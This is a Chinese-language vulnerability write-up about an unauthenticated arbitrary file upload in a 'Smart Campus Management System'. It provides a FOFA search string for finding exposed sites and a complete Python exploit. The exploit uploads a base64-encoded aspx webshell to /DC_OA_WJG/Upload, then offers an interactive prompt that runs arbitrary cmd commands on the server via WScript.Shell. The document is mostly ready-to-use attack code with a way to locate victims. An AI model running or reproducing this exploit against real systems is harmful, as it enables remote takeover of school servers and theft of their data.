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    智慧校园管理系统 前台任意文件上传漏洞.md
    3.97 KB / 2021-04-15 12:15:18
        # 智慧校园管理系统 前台任意文件上传漏洞
    
    ## 漏洞描述
    
    智慧校园管理系统前台注册页面存在文件上传,由于没有对上传的文件进行审查导致可上传恶意文件控制服务器
    
    ## 漏洞影响
    
    > [!NOTE]
    >
    > 智慧校园管理系统
    
    ## FOFA
    
    > [!NOTE]
    >
    > body="DC_Login/QYSignUp"
    
    ## 漏洞复现
    
    登录页面如下,只要存在企业用户注册就可能出现漏洞
    
    > [!NOTE]
    
    
    
    ![](image/zh-1.png)
    
    ![](image/zh-2.png)
    
    这个地方的上传附件允许了任意文件上传,包括 aspx木马,上传后还会返回 webshell地址
    
    ![](image/zh-3.png)
    
    ![](image\zh-4.png)
    
    上传的是冰蝎木马,直接连接
    
    ![](image/zh-5.png)
    
    ## 漏洞利用POC
    
    ```python
    import requests
    import sys
    import random
    import re
    import base64
    import time
    from requests.packages.urllib3.exceptions import InsecureRequestWarning
    
    def title():
        print('+------------------------------------------')
        print('+  \033[34mPOC_Des: http://wiki.peiqi.tech                                   \033[0m')
        print('+  \033[34mGithub : https://github.com/PeiQi0                                 \033[0m')
        print('+  \033[34m公众号  : PeiQi文库                                                   \033[0m')
        print('+  \033[34mVersion: 智慧校园管理系统                                            \033[0m')
        print('+  \033[36m使用格式:  python3 poc.py                                            \033[0m')
        print('+  \033[36mUrl         >>> http://xxx.xxx.xxx.xxx                             \033[0m')
        print('+------------------------------------------')
    
    def POC_1(target_url):
        vuln_url = target_url + "/DC_OA_WJG/Upload"
        headers = {
            "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
            "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryNxqOHxbHqt9mf7s5",
        }
        data = base64.b64decode("LS0tLS0tV2ViS2l0Rm9ybUJvdW5kYXJ5TnhxT0h4YkhxdDltZjdzNQpDb250ZW50LURpc3Bvc2l0aW9uOiBmb3JtLWRhdGE7IG5hbWU9InVwRmlsZSI7IGZpbGVuYW1lPSJQZWlRaS5hc3B4IgpDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL29jdGV0LXN0cmVhbQoKPHNjcmlwdCBsYW5ndWFnZT0iSlNjcmlwdCIgcnVuYXQ9InNlcnZlciI+ZnVuY3Rpb24gUGFnZV9Mb2FkKCl7ZXZhbChSZXF1ZXN0WyJQZWlRaSJdLCJ1bnNhZmUiKTt9PC9zY3JpcHQ+CgotLS0tLS1XZWJLaXRGb3JtQm91bmRhcnlOeHFPSHhiSHF0OW1mN3M1LS0=")
        try:
            requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
            response = requests.post(url=vuln_url, data=data, headers=headers, verify=False, timeout=5)
            print("\033[36m[o] 正在请求 {}/DC_OA_WJG/Upload 尝试上传木马..... \033[0m".format(target_url))
            if 'true' in response.text and 'path' in response.text and response.status_code == 200:
                print("\033[32m[o] 目标 {} 成功上传 Webshell文件\033[0m".format(target_url))
                webshell_path = re.findall(r'"path":"(.*?)"', response.text)[0]
                print("\033[32m[o] Webshell文件地址: {}/{} \033[0m".format(target_url, webshell_path))
                while True:
                    Cmd = str(input("\033[35mCmd >>> \033[0m"))
                    cmd_url = target_url + "/" + webshell_path + "?PeiQi=Response.Write(new%20ActiveXObject(%22WSCRIPT.Shell%22).exec(%22cmd%20/c%20{}%22).StdOut.ReadAll());".format(Cmd)
                    requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
                    response = requests.get(url=cmd_url, data=data, headers=headers, verify=False, timeout=5)
                    print("\033[32m[o] 响应为:\n{} \033[0m".format(response.text))
            else:
                print("\033[31m[x] 目标 {} 上传Webshell文件失败\033[0m".format(target_url))
                sys.exit(0)
    
        except Exception as e:
            print("\033[31m[x] 请求失败 \033[0m", e)
    
    
    if __name__ == '__main__':
        title()
        target_url = str(input("\033[35mPlease input Attack Url\nUrl >>> \033[0m"))
        POC_1(target_url)
    ```
    
    ![](image/zh-6.png)
    
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